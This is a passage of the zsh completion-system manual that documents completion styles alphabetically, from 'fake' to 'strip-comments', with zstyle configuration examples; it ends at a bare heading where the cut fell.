This style may be set for any completion context. It specifies additional strings that will always be completed in that context. The form of each string is `value**:description’;** the colon and description may be omitted, but any literal colons in value must be quoted with a backslash. Any description provided is shown alongside the value in completion listings.

It is important to use a sufficiently restrictive context when specifying fake strings. Note that the styles fake-files and fake-parameters provide additional features when completing files or parameters.

fake-always
This works identically to the fake style except that the ignored-patterns style is not applied to it. This makes it possible to override a set of matches completely by setting the ignored patterns to `*’.

The following shows a way of supplementing any tag with arbitrary data, but having it behave for display purposes like a separate tag. In this example we use the features of the tag-order style to divide the named-directories tag into two when performing completion with the standard completer complete for arguments of cd. The tag named-directories-normal behaves as normal, but the tag named-directories-mine contains a fixed set of directories. This has the effect of adding the match group `extra directories’ with the given completions.

zstyle ‘:completion::complete:cd:’ tag-order \ ’named-directories:-mine:extra\ directories named-directories:-normal:named\ directories ’ zstyle ‘:completion::complete:cd::named-directories-mine’ \ fake-always mydir1 mydir2 zstyle ‘:completion::complete:cd::named-directories-mine’ \ ignored-patterns ‘*’

fake-files
This style is used when completing files and looked up without a tag. Its values are of the form `dir**:names…’. This will add the** names (strings separated by spaces) as possible matches when completing in the directory dir**, even if no** such files really exist. The dir may be a pattern; pattern characters or colons in dir should be quoted with a backslash to be treated literally.

This can be useful on systems that support special file systems whose top-level pathnames can not be listed or generated with glob patterns (but see accept-exact-dirs for a more general way of dealing with this problem). It can also be used for directories for which one does not have read permission.

The pattern form can be used to add a certain `magic’ entry to all directories on a particular file system.

fake-parameters
This is used by the completion function for parameter names. Its values are names of parameters that might not yet be set but should be completed nonetheless. Each name may also be followed by a colon and a string specifying the type of the parameter (like `scalar’, `array’ or `integer’). If the type is given, the name will only be completed if parameters of that type are required in the particular context. Names for which no type is specified will always be completed.

file-list
This style controls whether files completed using the standard builtin mechanism are to be listed with a long list similar to ls -l. Note that this feature uses the shell module zsh/stat for file information; this loads the builtin stat which will replace any external stat executable. To avoid this the following code can be included in an initialization file:

zmodload -i zsh/stat disable stat

The style may either be set to a `true’ value (or `all’), or one of the values `insert’ or `list’, indicating that files are to be listed in long format in all circumstances, or when attempting to insert a file name, or when listing file names without attempting to insert one.

More generally, the value may be an array of any of the above values, optionally followed by =num. If num is present it gives the maximum number of matches for which long listing style will be used. For example,

zstyle ‘:completion:*’ file-list list=20 insert=10

specifies that long format will be used when listing up to 20 files or inserting a file with up to 10 matches (assuming a listing is to be shown at all, for example on an ambiguous completion), else short format will be used.

zstyle -e ‘:completion:*’ file-list \ ‘(( ${+NUMERIC} )) && reply=(true)’

specifies that long format will be used any time a numeric argument is supplied, else short format.

file-patterns
This is used by the standard function for completing filenames, _files. If the style is unset up to three tags are offered, `globbed-files’,`directories’ and `all-files’, depending on the types of files expected by the caller of _files. The first two (`globbed-files’ and `directories’) are normally offered together to make it easier to complete files in sub-directories.

The file-patterns style provides alternatives to the default tags, which are not used. Its value consists of elements of the form `pattern**:tag’; each string may contain any number of** such specifications separated by spaces.

The pattern is a pattern that is to be used to generate filenames. Any occurrence of the sequence `%p’ is replaced by any pattern(s) passed by the function calling _files. Colons in the pattern must be preceded by a backslash to make them distinguishable from the colon before the tag**. If more than one pattern is needed, the patterns** can be given inside braces, separated by commas.

The tags of all strings in the value will be offered by _files and used when looking up other styles. Any tags in the same word will be offered at the same time and before later words. If no `:tag’ is given the `files’ tag will be used.

The tag may also be followed by an optional second colon and a description, which will be used for the `%d’ in the value of the format style (if that is set) instead of the default description supplied by the completion function. The inclusion of a description also gives precedence to associated options such as for completion grouping so it can be used where files should be separated.

For example, to make the rm command first complete only names of object files and then the names of all files if there is no matching object file:

zstyle ‘:completion:::rm::’ file-patterns \ ‘*.o:object-files’ ‘%p:all-files’

To alter the default behaviour of file completion – offer files matching a pattern and directories on the first attempt, then all files – to offer only matching files on the first attempt, then directories, and finally all files:

zstyle ‘:completion:’ file-patterns \ ‘%p:globbed-files’ ‘(-/):directories’ ‘*:all-files’

This works even where there is no special pattern: _files matches all files using the pattern `*’ at the first step and stops when it sees this pattern. Note also it will never try a pattern more than once for a single completion attempt.

To separate directories into a separate group from the files but still complete them at the first attempt, a description needs to be given. Note that directories need to be explicitly excluded from the globbed-files because `*’ will match directories. For grouping, it is also necessary to set the group-name style.

zstyle ‘:completion:*’ file-patterns \ ‘%p(^-/):globbed-files *(-/):directories:location’

During the execution of completion functions, the EXTENDED_GLOB option is in effect, so the characters `#’, `~’ and `^’ have special meanings in the patterns.

file-sort
The standard filename completion function uses this style without a tag to determine in which order the names should be listed; menu completion will cycle through them in the same order. The possible values are: `size’ to sort by the size of the file; `links’ to sort by the number of links to the file; `modification’ (or `time’ or `date’) to sort by the last modification time; `access’ to sort by the last access time; and `inode’ (or `change’) to sort by the last inode change time. If the style is set to any other value, or is unset, files will be sorted alphabetically by name. If the value contains the string `reverse’, sorting is done in the opposite order. If the value contains the string `follow’, timestamps are associated with the targets of symbolic links; the default is to use the timestamps of the links themselves.

file-split-chars
A set of characters that will cause all file completions for the given context to be split at the point where any of the characters occurs. A typical use is to set the style to :; then everything up to and including the last : in the string so far is ignored when completing files. As this is quite heavy-handed, it is usually preferable to update completion functions for contexts where this behaviour is useful.

filter
The ldap plugin of email address completion (see _email_addresses) uses this style to specify the attributes to match against when filtering entries. So for example, if the style is set to `sn’, matching is done against surnames. Standard LDAP filtering is used so normal completion matching is bypassed. If this style is not set, the LDAP plugin is skipped. You may also need to set the command style to specify how to connect to your LDAP server.

force-list
This forces a list of completions to be shown at any point where listing is done, even in cases where the list would usually be suppressed. For example, normally the list is only shown if there are at least two different matches. By setting this style to `always’, the list will always be shown, even if there is only a single match that will immediately be accepted. The style may also be set to a number. In this case the list will be shown if there are at least that many matches, even if they would all insert the same string.

This style is tested for the default tag as well as for each tag valid for the current completion. Hence the listing can be forced only for certain types of match.

format
If this is set for the descriptions tag, its value is used as a string to display above matches in completion lists. The sequence `%d’ in this string will be replaced with a short description of what these matches are. This string may also contain the output attribute sequences understood by compadd -X (see zshcompwid**(1)).**

The style is tested with each tag valid for the current completion before it is tested for the descriptions tag. Hence different format strings can be defined for different types of match.

Note also that some completer functions define additional `%’-sequences. These are described for the completer functions that make use of them.

Some completion functions display messages that may be customised by setting this style for the messages tag. Here, the `%d’ is replaced with a message given by the completion function.

Finally, the format string is looked up with the warnings tag, for use when no matches could be generated at all. In this case the `%d’ is replaced with the descriptions for the matches that were expected separated by spaces. The sequence `%D’ is replaced with the same descriptions separated by newlines.

It is possible to use printf-style field width specifiers with `%d’ and similar escape sequences. This is handled by the zformat builtin command from the zsh/zutil module, see zshmodules**(1).**

gain-privileges
If set to true, this style enables the use of commands like sudo or doas to gain extra privileges when retrieving information for completion. This is only done when a command such as sudo appears on the command-line. To force the use of, e.g. sudo or to override any prefix that might be added due to gain-privileges, the command style can be used with a value that begins with a hyphen.

glob
This is used by the _expand completer. If it is set to `true’ (the default), globbing will be attempted on the words resulting from a previous substitution (see the substitute style) or else the original string from the line.

global
If this is set to `true’ (the default), the _expand_alias completer and bindable command will try to expand global aliases.

group-name
The completion system can group different types of matches, which appear in separate lists. This style can be used to give the names of groups for particular tags. For example, in command position the completion system generates names of builtin and external commands, names of aliases, shell functions and parameters and reserved words as possible completions. To have the external commands and shell functions listed separately:

zstyle ‘:completion:::-command-::commands’ \ group-name commands zstyle ‘:completion:::-command-::functions’ \ group-name functions

As a consequence, any match with the same tag will be displayed in the same group.

If the name given is the empty string the name of the tag for the matches will be used as the name of the group. So, to have all different types of matches displayed separately, one can just set:

zstyle ‘:completion:*’ group-name '’

All matches for which no group name is defined will be put in a group named -default-.

To display the group name in the output, see the format style (q.v.) under the descriptions tag.

group-order
This style is additional to the group-name style to specify the order for display of the groups defined by that style (compare tag-order, which determines which completions appear at all). The groups named are shown in the given order; any other groups are shown in the order defined by the completion function.

For example, to have names of builtin commands, shell functions and external commands appear in that order when completing in command position:

zstyle ‘:completion:::-command-::’ group-order \ builtins functions commands

groups
A list of names of UNIX groups. If this is not set, group names are taken from the YP database or the file `/etc/group’.

hidden
If this is set to `true’, matches for the given context will not be listed, although any description for the matches set with the format style will be shown. If it is set to `all’, not even the description will be displayed.

Note that the matches will still be completed; they are just not shown in the list. To avoid having matches considered as possible completions at all, the tag-order style can be modified as described below.

hosts
A list of names of hosts that should be completed. If this is not set, hostnames are taken from the file `/etc/hosts’.

hosts-ports
This style is used by commands that need or accept hostnames and network ports. The strings in the value should be of the form `host**:port’. Valid ports are determined by the presence** of hostnames; multiple ports for the same host may appear.

ignore-line
This is tested for each tag valid for the current completion. If it is set to `true’, none of the words that are already on the line will be considered as possible completions. If it is set to `current’, the word the cursor is on will not be considered as a possible completion. The value `current-shown’ is similar but only applies if the list of completions is currently shown on the screen. Finally, if the style is set to `other’, all words on the line except for the current one will be excluded from the possible completions.

The values `current’ and `current-shown’ are a bit like the opposite of the accept-exact style: only strings with missing characters will be completed.

Note that you almost certainly don’t want to set this to `true’ or `other’ for a general context such as `:completion:*’. This is because it would disallow completion of, for example, options multiple times even if the command in question accepts the option more than once.

ignore-parents
The style is tested without a tag by the function completing pathnames in order to determine whether to ignore the names of directories already mentioned in the current word, or the name of the current working directory. The value must include one or both of the following strings:

parent The name of any directory whose path is already contained in the word on the line is ignored. For example, when completing after foo/../, the directory foo will not be considered a valid completion.

pwd
The name of the current working directory will not be completed; hence, for example, completion after ../ will not use the name of the current directory.

In addition, the value may include one or both of:

.. Ignore the specified directories only when the word on the line contains the substring `../’.

directory
Ignore the specified directories only when names of directories are completed, not when completing names of files.

Excluded values act in a similar fashion to values of the ignored-patterns style, so they can be restored to consideration by the _ignored completer.

ignored-patterns
A list of patterns; any trial completion matching one of the patterns will be excluded from consideration. The _ignored completer can appear in the list of completers to restore the ignored matches. This is a more configurable version of the shell parameter $fignore.

Note that the EXTENDED_GLOB option is set during the execution of completion functions, so the characters `#’, `~’ and `^’ have special meanings in the patterns.

insert
This style is used by the _all_matches completer to decide whether to insert the list of all matches unconditionally instead of adding the list as another match.

insert-ids
When completing process IDs, for example as arguments to the kill and wait builtins the name of a command may be converted to the appropriate process ID. A problem arises when the process name typed is not unique. By default (or if this style is set explicitly to `menu’) the name will be converted immediately to a set of possible IDs, and menu completion will be started to cycle through them.

If the value of the style is `single’, the shell will wait until the user has typed enough to make the command unique before converting the name to an ID; attempts at completion will be unsuccessful until that point. If the value is any other string, menu completion will be started when the string typed by the user is longer than the common prefix to the corresponding IDs.

insert-sections
This style is used with tags of the form `manuals.X’ when completing names of manual pages. If set and the X in the tag name matches the section number of the page being completed, the section number is inserted along with the page name. For example, given

zstyle ‘:completion::manuals.’ insert-sections true

man ssh_<TAB> may be completed to man 5 ssh_config.

The value may also be set to one of `prepend’, or `suffix’. `prepend’ behaves the same as `true’ as in the above example, while `suffix’ would complete man ssh_<TAB> as man ssh_config.5.

This is especially useful in conjunction with separate-sections, as it ensures that the page requested of man corresponds to the one displayed in the completion listing when there are multiple pages with the same name (e.g., printf(1) and printf(3)).

The default for this style is `false’.

insert-tab
If this is set to `true’, the completion system will insert a TAB character (assuming that was used to start completion) instead of performing completion when there is no non-blank character to the left of the cursor. If it is set to `false’, completion will be done even there.

The value may also contain the substrings `pending’ or `pending=val’. In this case, the typed character will be inserted instead of starting completion when there is unprocessed input pending. If a val is given, completion will not be done if there are at least that many characters of unprocessed input. This is often useful when pasting characters into a terminal. Note however, that it relies on the $PENDING special parameter from the zsh/zle module being set properly which is not guaranteed on all platforms.

The default value of this style is `true’ except for completion within vared builtin command where it is `false’.

insert-unambiguous
This is used by the _match and _approximate completers. These completers are often used with menu completion since the word typed may bear little resemblance to the final completion. However, if this style is `true’, the completer will start menu completion only if it could find no unambiguous initial string at least as long as the original string typed by the user.

In the case of the _approximate completer, the completer field in the context will already have been set to one of **correct-**num or approximate-num, where num is the number of errors that were accepted.

In the case of the _match completer, the style may also be set to the string `pattern’. Then the pattern on the line is left unchanged if it does not match unambiguously.

keep-prefix
This style is used by the _expand completer. If it is `true’, the completer will try to keep a prefix containing a tilde or parameter expansion. Hence, for example, the string `~/f*’ would be expanded to `~/foo’ instead of `/home/user/foo’. If the style is set to `changed’ (the default), the prefix will only be left unchanged if there were other changes between the expanded words and the original word from the command line. Any other value forces the prefix to be expanded unconditionally.

The behaviour of _expand when this style is `true’ is to cause _expand to give up when a single expansion with the restored prefix is the same as the original; hence any remaining completers may be called.

known-hosts-files
This style should contain a list of files to search for host names and (if the use-ip style is set) IP addresses in a format compatible with ssh known_hosts files. If it is not set, the files /etc/ssh/ssh_known_hosts and ~/.ssh/known_hosts are used.

last-prompt
This is a more flexible form of the ALWAYS_LAST_PROMPT option. If it is `true’, the completion system will try to return the cursor to the previous command line after displaying a completion list. It is tested for all tags valid for the current completion, then the default tag. The cursor will be moved back to the previous line if this style is `true’ for all types of match. Note that unlike the ALWAYS_LAST_PROMPT option this is independent of the numeric argument.

list
This style is used by the _history_complete_word bindable command. If it is set to `true’ it has no effect. If it is set to `false’ matches will not be listed. This overrides the setting of the options controlling listing behaviour, in particular AUTO_LIST. The context always starts with `:completion:history-words’.

list-colors
If the zsh/complist module is loaded, this style can be used to set color specifications. This mechanism replaces the use of the ZLS_COLORS and ZLS_COLOURS parameters described in the section `The zsh/complist Module’ in zshmodules**(1), but the syntax is the same.**

If this style is set for the default tag, the strings in the value are taken as specifications that are to be used everywhere. If it is set for other tags, the specifications are used only for matches of the type described by the tag. For this to work best, the group-name style must be set to an empty string.

In addition to setting styles for specific tags, it is also possible to use group names specified explicitly by the group-name tag together with the `(group)’ syntax allowed by the ZLS_COLORS and ZLS_COLOURS parameters and simply using the default tag.

It is possible to use any color specifications already set up for the GNU version of the ls command:

zstyle ‘:completion:*:default’ list-colors \ ${(s.:.)LS_COLORS}

The default colors are the same as for the GNU ls command and can be obtained by setting the style to an empty string (i.e. ’’).

list-dirs-first
This is used by file completion and corresponds to a particular setting of the file-patterns style. If set, the default directories to be completed are listed separately from and before completion for other files.

list-grouped
If this style is `true’ (the default), the completion system will try to make certain completion listings more compact by grouping matches. For example, options for commands that have the same description (shown when the verbose style is set to `true’) will appear as a single entry. However, menu selection can be used to cycle through all the matches.

list-packed
This is tested for each tag valid in the current context as well as the default tag. If it is set to `true’, the corresponding matches appear in listings as if the LIST_PACKED option were set. If it is set to `false’, they are listed normally.

list-prompt
If this style is set for the default tag, completion lists that don’t fit on the screen can be scrolled (see the description of the zsh/complist module in zshmodules**(1)). The value, if not the empty string, will be displayed after every** screenful and the shell will prompt for a key press; if the style is set to the empty string, a default prompt will be used.

The value may contain the escape sequences: `%l’ or `%L’, which will be replaced by the number of the last line displayed and the total number of lines; `%m’ or `%M’, the number of the last match shown and the total number of matches; and `%p’ and `%P’, `Top’ when at the beginning of the list, `Bottom’ when at the end and the position shown as a percentage of the total length otherwise. In each case the form with the uppercase letter will be replaced by a string of fixed width, padded to the right with spaces, while the lowercase form will be replaced by a variable width string. As in other prompt strings, the escape sequences `%S’, `%s’, `%B’, `%b’, `%U’, `%u’ for entering and leaving the display modes standout, bold and underline, and `%F’, `%f’, `%K’, `%k’ for changing the foreground background colour, are also available, as is the form `%{…%}’ for enclosing escape sequences which display with zero (or, with a numeric argument, some other) width.

After deleting this prompt the variable LISTPROMPT should be unset for the removal to take effect.

list-rows-first
This style is tested in the same way as the list-packed style and determines whether matches are to be listed in a rows-first fashion as if the LIST_ROWS_FIRST option were set.

list-separator
The value of this style is used in completion listing to separate the string to complete from a description when possible (e.g. when completing options). It defaults to `–’ (two hyphens).

list-suffixes
This style is used by the function that completes filenames. If it is `true’, and completion is attempted on a string containing multiple partially typed pathname components, all ambiguous components will be shown. Otherwise, completion stops at the first ambiguous component.

local
This is for use with functions that complete URLs for which the corresponding files are available directly from the file system. Its value should consist of three strings: a hostname, the path to the default web pages for the server, and the directory name used by a user placing web pages within their home area.

For example:

zstyle ‘:completion:*’ local toast \ /var/http/public/toast public_html

Completion after `http://toast/stuff/’ will look for files in the directory /var/http/public/toast/stuff, while completion after `http://toast/~yousir/’ will look for files in the directory ~yousir/public_html.

mail-directory
If set, zsh will assume that mailbox files can be found in the directory specified. It defaults to `~/Mail’.

match-original
This is used by the _match completer. If it is set to only, _match will try to generate matches without inserting a `*’ at the cursor position. If set to any other non-empty value, it will first try to generate matches without inserting the `*’ and if that yields no matches, it will try again with the `*’ inserted. If it is unset or set to the empty string, matching will only be performed with the `*’ inserted.

matcher
This style is tested separately for each tag valid in the current context. Its value is placed before any match specifications given by the matcher-list style so can override them via the use of an x: specification. The value should be in the form described in the section `Completion Matching Control’ in zshcompwid**(1). For examples of this, see the description of the tag-order style.**

For notes comparing the use of this and the matcher-list style, see under the description of the tag-order style.

matcher-list
This style can be set to a list of match specifications that are to be applied everywhere. Match specifications are described in the section `Completion Matching Control’ in zshcompwid**(1).** The completion system will try them one after another for each completer selected. For example, to try first simple completion and, if that generates no matches, case-insensitive completion:

zstyle ‘:completion:*’ matcher-list ’’ ’m:{a-zA-Z}={A-Za-z}’

By default each specification replaces the previous one; however, if a specification is prefixed with +, it is added to the existing list. Hence it is possible to create increasingly general specifications without repetition:

zstyle ‘:completion:*’ matcher-list \ ’’ ‘+m:{a-z}={A-Z}’ ‘+m:{A-Z}={a-z}’

It is possible to create match specifications valid for particular completers by using the third field of the context. This applies only to completers that override the global matcher-list, which as of this writing includes only _prefix and _ignored. For example, to use the completers _complete and _prefix but allow case-insensitive completion only with _complete:

zstyle ‘:completion:’ completer _complete _prefix zstyle ‘:completion::complete:::*’ matcher-list \ ’’ ’m:{a-zA-Z}={A-Za-z}’

User-defined names, as explained for the completer style, are available. This makes it possible to try the same completer more than once with different match specifications each time. For example, to try normal completion without a match specification, then normal completion with case-insensitive matching, then correction, and finally partial-word completion:

zstyle ‘:completion:’ completer \ _complete _correct _complete:foo zstyle ‘:completion::complete:::’ matcher-list \ ’’ ’m:{a-zA-Z}={A-Za-z}’ zstyle ‘:completion::foo:::’ matcher-list \ ’m:{a-zA-Z}={A-Za-z} r:|[-_./]= r:|=*’

If the style is unset in any context no match specification is applied. Note also that some completers such as _correct and _approximate do not use the match specifications at all, though these completers will only ever be called once even if the matcher-list contains more than one element.

Where multiple specifications are useful, note that the entire completion is done for each element of matcher-list, which can quickly reduce the shell’s performance. As a rough rule of thumb, one to three strings will give acceptable performance. On the other hand, putting multiple space-separated values into the same string does not have an appreciable impact on performance.

If there is no current matcher or it is empty, and the option NO_CASE_GLOB is in effect, the matching for files is performed case-insensitively in any case. However, any matcher must explicitly specify case-insensitive matching if that is required.

For notes comparing the use of this and the matcher style, see under the description of the tag-order style.

max-errors
This is used by the _approximate and _correct completer functions to determine the maximum number of errors to allow. The completer will try to generate completions by first allowing one error, then two errors, and so on, until either a match or matches were found or the maximum number of errors given by this style has been reached.

If the value for this style contains the string `numeric’, the completer function will take any numeric argument as the maximum number of errors allowed. For example, with

zstyle ‘:completion:*:approximate:::’ max-errors 2 numeric

two errors are allowed if no numeric argument is given, but with a numeric argument of six (as in `ESC-6 TAB’), up to six errors are accepted. Hence with a value of `0 numeric’, no correcting completion will be attempted unless a numeric argument is given.

If the value contains the string `not-numeric’, the completer will not try to generate corrected completions when given a numeric argument, so in this case the number given should be greater than zero. For example, `2 not-numeric’ specifies that correcting completion with two errors will usually be performed, but if a numeric argument is given, correcting completion will not be performed.

The default value for this style is `2 numeric’.

max-matches-width
This style is used to determine the trade off between the width of the display used for matches and the width used for their descriptions when the verbose style is in effect. The value gives the number of display columns to reserve for the matches. The default is half the width of the screen.

This has the most impact when several matches have the same description and so will be grouped together. Increasing the style will allow more matches to be grouped together; decreasing it will allow more of the description to be visible.

menu
If this is `true’ in the context of any of the tags defined for the current completion menu completion will be used. The value for a specific tag will take precedence over that for the `default’ tag.

If none of the values found in this way is `true’ but at least one is set to `auto’, the shell behaves as if the AUTO_MENU option is set.

If one of the values is explicitly set to `false’, menu completion will be explicitly turned off, overriding the MENU_COMPLETE option and other settings.

In the form `yes=num’, where `yes’ may be any of the `true’ values (`yes’, `true’, `on’ and `1’), menu completion will be turned on if there are at least num matches. In the form `yes=long’, menu completion will be turned on if the list does not fit on the screen. This does not activate menu completion if the widget normally only lists completions, but menu completion can be activated in that case with the value `yes=long-list’ (Typically, the value `select=long-list’ described later is more useful as it provides control over scrolling.)

Similarly, with any of the `false’ values (as in `no=10’), menu completion will not be used if there are num or more matches.

The value of this widget also controls menu selection, as implemented by the zsh/complist module. The following values may appear either alongside or instead of the values above.

If the value contains the string `select’, menu selection will be started unconditionally.

In the form `select=num’, menu selection will only be started if there are at least num matches. If the values for more than one tag provide a number, the smallest number is taken.

Menu selection can be turned off explicitly by defining a value containing the string`no-select’.

It is also possible to start menu selection only if the list of matches does not fit on the screen by using the value `select=long’. To start menu selection even if the current widget only performs listing, use the value `select=long-list’.

To turn on menu completion or menu selection when there are a certain number of matches or the list of matches does not fit on the screen, both of `yes=’ and `select=’ may be given twice, once with a number and once with `long’ or `long-list’.

Finally, it is possible to activate two special modes of menu selection. The word `interactive’ in the value causes interactive mode to be entered immediately when menu selection is started; see the description of the zsh/complist module in zshmodules**(1)** for a description of interactive mode. Including the string `search’ does the same for incremental search mode. To select backward incremental search, include the string `search-backward’.

muttrc
If set, gives the location of the mutt configuration file. It defaults to `~/.muttrc’.

numbers
This is used with the jobs tag. If it is `true’, the shell will complete job numbers instead of the shortest unambiguous prefix of the job command text. If the value is a number, job numbers will only be used if that many words from the job descriptions are required to resolve ambiguities. For example, if the value is `1’, strings will only be used if all jobs differ in the first word on their command lines.

old-list
This is used by the _oldlist completer. If it is set to `always’, then standard widgets which perform listing will retain the current list of matches, however they were generated; this can be turned off explicitly with the value `never’, giving the behaviour without the _oldlist completer. If the style is unset, or any other value, then the existing list of completions is displayed if it is not already; otherwise, the standard completion list is generated; this is the default behaviour of _oldlist. However, if there is an old list and this style contains the name of the completer function that generated the list, then the old list will be used even if it was generated by a widget which does not do listing.

For example, suppose you type ^Xc to use the _correct_word widget, which generates a list of corrections for the word under the cursor. Usually, typing ^D would generate a standard list of completions for the word on the command line, and show that. With _oldlist, it will instead show the list of corrections already generated.

As another example consider the _match completer: with the insert-unambiguous style set to `true’ it inserts only a common prefix string, if there is any. However, this may remove parts of the original pattern, so that further completion could produce more matches than on the first attempt. By using the _oldlist completer and setting this style to _match, the list of matches generated on the first attempt will be used again.

old-matches
This is used by the _all_matches completer to decide if an old list of matches should be used if one exists. This is selected by one of the `true’ values or by the string `only’. If the value is `only’, _all_matches will only use an old list and won’t have any effect on the list of matches currently being generated.

If this style is set it is generally unwise to call the _all_matches completer unconditionally. One possible use is for either this style or the completer style to be defined with the -e option to zstyle to make the style conditional.

old-menu
This is used by the _oldlist completer. It controls how menu completion behaves when a completion has already been inserted and the user types a standard completion key such as TAB. The default behaviour of _oldlist is that menu completion always continues with the existing list of completions. If this style is set to `false’, however, a new completion is started if the old list was generated by a different completion command; this is the behaviour without the _oldlist completer.

For example, suppose you type ^Xc to generate a list of corrections, and menu completion is started in one of the usual ways. Usually, or with this style set to `false’, typing TAB at this point would start trying to complete the line as it now appears. With _oldlist, it instead continues to cycle through the list of corrections.

original
This is used by the _approximate and _correct completers to decide if the original string should be added as a possible completion. Normally, this is done only if there are at least two possible corrections, but if this style is set to `true’, it is always added. Note that the style will be examined with the completer field in the context name set to **correct-**num or approximate-num, where num is the number of errors that were accepted.

packageset
This style is used when completing arguments of the Debian `dpkg’ program. It contains an override for the default package set for a given context. For example,

zstyle ‘:completion::complete:dpkg:option–status-1:’ \ packageset avail

causes available packages, rather than only installed packages, to be completed for `dpkg –status’.

path
The function that completes color names uses this style with the colors tag. The value should be the pathname of a file containing color names in the format of an X11 rgb.txt file. If the style is not set but this file is found in one of various standard locations it will be used as the default.

path-completion
This is used by filename completion. By default, filename completion examines all components of a path to see if there are completions of that component. For example, /u/b/z can be completed to /usr/bin/zsh. Explicitly setting this style to `false’ inhibits this behaviour for path components up to the / before the cursor; this overrides the setting of accept-exact-dirs.

Even with the style set to `false’, it is still possible to complete multiple paths by setting the option COMPLETE_IN_WORD and moving the cursor back to the first component in the path to be completed. For example, /u/b/z can be completed to /usr/bin/zsh if the cursor is after the /u.

pine-directory
If set, specifies the directory containing PINE mailbox files. There is no default, since recursively searching this directory is inconvenient for anyone who doesn’t use PINE.

ports
A list of Internet service names (network ports) to complete. If this is not set, service names are taken from the file `/etc/services’.

prefix-hidden
This is used for certain completions which share a common prefix, for example command options beginning with dashes. If it is `true’, the prefix will not be shown in the list of matches.

The default value for this style is `false’.

prefix-needed
This style is also relevant for matches with a common prefix. If it is set to `true’ this common prefix must be typed by the user to generate the matches.

The style is applicable to the options, signals, jobs, functions, and parameters completion tags.

For command options, this means that the initial `-’, `+’, or `–’ must be typed explicitly before option names will be completed.

For signals, an initial `-’ is required before signal names will be completed.

For jobs, an initial `%’ is required before job names will be completed.

For function and parameter names, an initial `_’ or `.’ is required before function or parameter names starting with those characters will be completed.

The default value for this style is `false’ for function and parameter completions, and `true’ otherwise.

preserve-prefix
This style is used when completing path names. Its value should be a pattern matching an initial prefix of the word to complete that should be left unchanged under all circumstances. For example, on some Unices an initial `//’ (double slash) has a special meaning; setting this style to the string `//’ will preserve it. As another example, setting this style to `?:/’ under Cygwin would allow completion after `a:/…’ and so on.

range
This is used by the _history completer and the _history_complete_word bindable command to decide which words should be completed.

If it is a single number, only the last N words from the history will be completed.

If it is a range of the form `max**:slice’,** the last slice words will be completed; then if that yields no matches, the slice words before those will be tried and so on. This process stops either when at least one match has been found, or max words have been tried.

The default is to complete all words from the history at once.

recursive-files
If this style is set, its value is an array of patterns to be tested against `$PWD/’: note the trailing slash, which allows directories in the pattern to be delimited unambiguously by including slashes on both sides. If an ordinary file completion fails and the word on the command line does not yet have a directory part to its name, the style is retrieved using the same tag as for the completion just attempted, then the elements tested against $PWD/ in turn. If one matches, then the shell reattempts completion by prepending the word on the command line with each directory in the expansion of **/*(/) in turn. Typically the elements of the style will be set to restrict the number of directories beneath the current one to a manageable number, for example `*/.git/*’.

For example,

zstyle ‘:completion:’ recursive-files ‘/zsh/*’

If the current directory is /home/pws/zsh/Src, then zle_tr<TAB> can be completed to Zle/zle_tricky.c.

regular
This style is used by the _expand_alias completer and bindable command. If set to `true’ (the default), regular aliases will be expanded but only in command position. If it is set to `false’, regular aliases will never be expanded. If it is set to `always’, regular aliases will be expanded even if not in command position.

rehash
If this is set when completing external commands, the internal list (hash) of commands will be updated for each search by issuing the rehash command. There is a speed penalty for this which is only likely to be noticeable when directories in the path have slow file access.

remote-access
If set to `false’, certain commands will be prevented from making Internet connections to retrieve remote information. This includes the completion for the CVS command.

It is not always possible to know if connections are in fact to a remote site, so some may be prevented unnecessarily.

remove-all-dups
The _history_complete_word bindable command and the _history completer use this to decide if all duplicate matches should be removed, rather than just consecutive duplicates.

select-prompt
If this is set for the default tag, its value will be displayed during menu selection (see the menu style above) when the completion list does not fit on the screen as a whole. The same escapes as for the list-prompt style are understood, except that the numbers refer to the match or line the mark is on. A default prompt is used when the value is the empty string.

select-scroll
This style is tested for the default tag and determines how a completion list is scrolled during a menu selection (see the menu style above) when the completion list does not fit on the screen as a whole. If the value is `0’ (zero), the list is scrolled by half-screenfuls; if it is a positive integer, the list is scrolled by the given number of lines; if it is a negative number, the list is scrolled by a screenful minus the absolute value of the given number of lines. The default is to scroll by single lines.

separate-sections
This style is used with the manuals tag when completing names of manual pages. If it is `true’, entries for different sections are added separately using tag names of the form `manuals.X’, where X is the section number. When the group-name style is also in effect, pages from different sections will appear separately. This style is also used similarly with the words style when completing words for the dict command. It allows words from different dictionary databases to be added separately. See also insert-sections.

The default for this style is `false’.

show-ambiguity
If the zsh/complist module is loaded, this style can be used to highlight the first ambiguous character in completion lists. The value is either a color indication such as those supported by the list-colors style or, with a value of `true’, a default of underlining is selected. The highlighting is only applied if the completion display strings correspond to the actual matches.

show-completer
Tested whenever a new completer is tried. If it is `true’, the completion system outputs a progress message in the listing area showing what completer is being tried. The message will be overwritten by any output when completions are found and is removed after completion is finished.

single-ignored
This is used by the _ignored completer when there is only one match. If its value is `show’, the single match will be displayed but not inserted. If the value is `menu’, then the single match and the original string are both added as matches and menu completion is started, making it easy to select either of them.

sort
This allows the standard ordering of matches to be overridden.

If its value is `true’ or `false’, sorting is enabled or disabled. Additionally the values associated with the `-o’ option to compadd can also be listed: match, nosort, numeric, reverse. If it is not set for the context, the standard behaviour of the calling widget is used.

The style is tested first against the full context including the tag, and if that fails to produce a value against the context without the tag.

In many cases where a calling widget explicitly selects a particular ordering in lieu of the default, a value of `true’ is not honoured. An example of where this is not the case is for command history where the default of sorting matches chronologically may be overridden by setting the style to `true’.

In the _expand completer, if it is set to `true’, the expansions generated will always be sorted. If it is set to `menu’, then the expansions are only sorted when they are offered as single strings but not in the string containing all possible expansions.

special-dirs
Normally, the completion code will not produce the directory names `.’ and `..’ as possible completions. If this style is set to `true’, it will add both `.’ and `..’ as possible completions; if it is set to `..’, only `..’ will be added.

The following example sets special-dirs to `..’ when the current prefix is empty, is a single `.’, or consists only of a path beginning with `../’. Otherwise the value is `false’.

zstyle -e ‘:completion:*’ special-dirs \ ‘[[ $PREFIX = (../)#(|.|..) ]] && reply=(..)’

squeeze-slashes
If set to `true’, sequences of slashes in filename paths (for example in `foo//bar’) will be treated as a single slash. This is the usual behaviour of UNIX paths. However, by default the file completion function behaves as if there were a `*’ between the slashes.

stop
If set to `true’, the _history_complete_word bindable command will stop once when reaching the beginning or end of the history. Invoking _history_complete_word will then wrap around to the opposite end of the history. If this style is set to `false’ (the default), _history_complete_word will loop immediately as in a menu completion.

strip-comments
If set to `true’, this style causes non-essential comment text to be removed from completion matches. Currently it is only used when completing e-mail addresses where it removes any display name from the addresses, cutting them down to plain user@host form.

subst-globs-only
